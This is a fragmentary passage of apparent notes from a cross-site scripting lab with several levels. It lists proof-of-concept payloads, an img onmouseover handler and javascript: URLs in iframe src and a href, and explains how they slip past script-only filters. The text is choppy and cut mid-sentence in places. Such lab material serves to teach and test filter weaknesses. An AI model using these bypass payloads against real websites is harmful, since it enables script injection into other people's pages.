<u>test</u> first, as always: HTML injection is live on all levels here.<img>, <iframe>, <a>, <svg>…) and read the source view to see which came back untouched.<img src=x onmouseover=alert(1)>. Filters patched for script forget the handler attributes all the time.iframe src, a href — take javascript: and are the classic forgotten vectors.<img src=x onmouseover=alert(1)>
Script is stripped; img passes untouched — filter was written for the reported payload, not the whole spec.
<iframe src=javascript:alert(1)></iframe>
<a href=javascript:alert(2)>click me</a>
Handlers rewritten, but the filter never looked at attribute values. javascript: inside src/href executes on load/navigate — the real-workhorse bypass from the lesson ("people focus on event handlers and forget there are other ways").
Evasion ladder
levels 3–4